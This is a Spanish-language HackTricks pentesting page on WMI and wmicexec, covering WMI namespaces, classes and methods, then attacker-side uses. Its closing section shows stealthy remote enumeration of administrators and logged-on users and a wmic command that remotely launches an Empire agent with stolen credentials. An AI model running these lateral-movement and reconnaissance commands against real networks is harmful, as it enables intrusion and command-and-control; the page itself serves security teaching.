hacktricks/windows-hardening/ntlm/wmicexec.md
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00

6.9 KiB

WmicExec

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

¿Cómo funciona?

Wmi permite abrir procesos en hosts donde se conoce el nombre de usuario/(contraseña/Hash). Luego, Wmiexec utiliza wmi para ejecutar cada comando que se le pide que ejecute (por eso Wmicexec te da una shell semi-interactiva).

dcomexec.py: Este script proporciona una shell semi-interactiva similar a wmiexec.py, pero utilizando diferentes puntos finales DCOM (objeto DCOM ShellBrowserWindow). Actualmente, admite MMC20. Aplicación, ventanas de shell y objetos de ventana del navegador de shell. (de aquí)

Conceptos básicos de WMI

Espacio de nombres

WMI se divide en una jerarquía de estilo de directorio, el contenedor \root, con otros directorios bajo \root. Estas "rutas de directorio" se llaman espacios de nombres.
Listar espacios de nombres:

#Get Root namespaces
gwmi -namespace "root" -Class "__Namespace" | Select Name

#List all namespaces (you may need administrator to list all of them)
Get-WmiObject -Class "__Namespace" -Namespace "Root" -List -Recurse 2> $null | select __Namespace | sort __Namespace

#List namespaces inside "root\cimv2"
Get-WmiObject -Class "__Namespace" -Namespace "root\cimv2" -List -Recurse 2> $null | select __Namespace | sort __Namespace

Lista las clases de un espacio de nombres con:

gwmwi -List -Recurse #If no namespace is specified, by default is used: "root\cimv2"
gwmi -Namespace "root/microsoft" -List -Recurse

Clases

El nombre de la clase WMI, por ejemplo, win32_process, es un punto de partida para cualquier acción de WMI. Siempre necesitamos conocer el nombre de la clase y el espacio de nombres donde se encuentra.
Lista de clases que comienzan con win32:

Get-WmiObject -Recurse -List -class win32* | more #If no namespace is specified, by default is used: "root\cimv2"
gwmi -Namespace "root/microsoft" -List -Recurse -Class "MSFT_MpComput*"

Llamar a una clase:

#When you don't specify a namespaces by default is "root/cimv2"
Get-WmiObject -Class win32_share
Get-WmiObject -Namespace "root/microsoft/windows/defender" -Class MSFT_MpComputerStatus

Métodos

Las clases de WMI tienen una o más funciones que pueden ser ejecutadas. Estas funciones se llaman métodos.

#Load a class using [wmiclass], leist methods and call one
$c = [wmiclass]"win32_share"
$c.methods
#Find information about the class in https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/win32-share
$c.Create("c:\share\path","name",0,$null,"My Description")
#If returned value is "0", then it was successfully executed
#List methods
Get-WmiObject -Query 'Select * From Meta_Class WHERE __Class LIKE "win32%"' | Where-Object { $_.PSBase.Methods } | Select-Object Name, Methods
#Call create method from win32_share class
Invoke-WmiMethod -Class win32_share -Name Create -ArgumentList @($null, "Description", $null, "Name", $null, "c:\share\path",0)

Enumeración de WMI

Verificar el servicio de WMI

Así es como puedes verificar si el servicio de WMI está en ejecución:

#Check if WMI service is running
Get-Service Winmgmt
Status   Name               DisplayName
------   ----               -----------
Running  Winmgmt            Windows Management Instrumentation

#From CMD
net start | findstr "Instrumentation"

Información del sistema

Get-WmiObject -ClassName win32_operatingsystem | select * | more

Información del Proceso

Get-WmiObject win32_process | Select Name, Processid

Desde la perspectiva de un atacante, WMI puede ser muy valioso para enumerar información sensible sobre un sistema o el dominio.

wmic computerystem list full /format:list  
wmic process list /format:list  
wmic ntdomain list /format:list  
wmic useraccount list /format:list  
wmic group list /format:list  
wmic sysaccount list /format:list  
 Get-WmiObject Win32_Processor -ComputerName 10.0.0.182 -Credential $cred

Consulta remota manual de WMI

Por ejemplo, aquí hay una forma muy sigilosa de descubrir administradores locales en una máquina remota (tenga en cuenta que el dominio es el nombre de la computadora):

wmic /node:ordws01 path win32_groupuser where (groupcomponent="win32_group.name=\"administrators\",domain=\"ORDWS01\"")  

Otro comando útil en una sola línea es ver quién ha iniciado sesión en una máquina (para cuando estás buscando administradores):

wmic /node:ordws01 path win32_loggedonuser get antecedent  

wmic incluso puede leer nodos desde un archivo de texto y ejecutar el comando en todos ellos. Si tienes un archivo de texto con estaciones de trabajo:

wmic /node:@workstations.txt path win32_loggedonuser get antecedent  

Crearemos de forma remota un proceso a través de WMI para ejecutar un agente de Empire.

wmic /node:ordws01 /user:CSCOU\jarrieta path win32_process call create "**empire launcher string here**"  

Vemos que se ejecuta con éxito (ReturnValue = 0). Y un segundo después, nuestro listener de Empire lo captura. Tenga en cuenta que el ID del proceso es el mismo que devolvió WMI.

Toda esta información fue extraída de aquí: https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/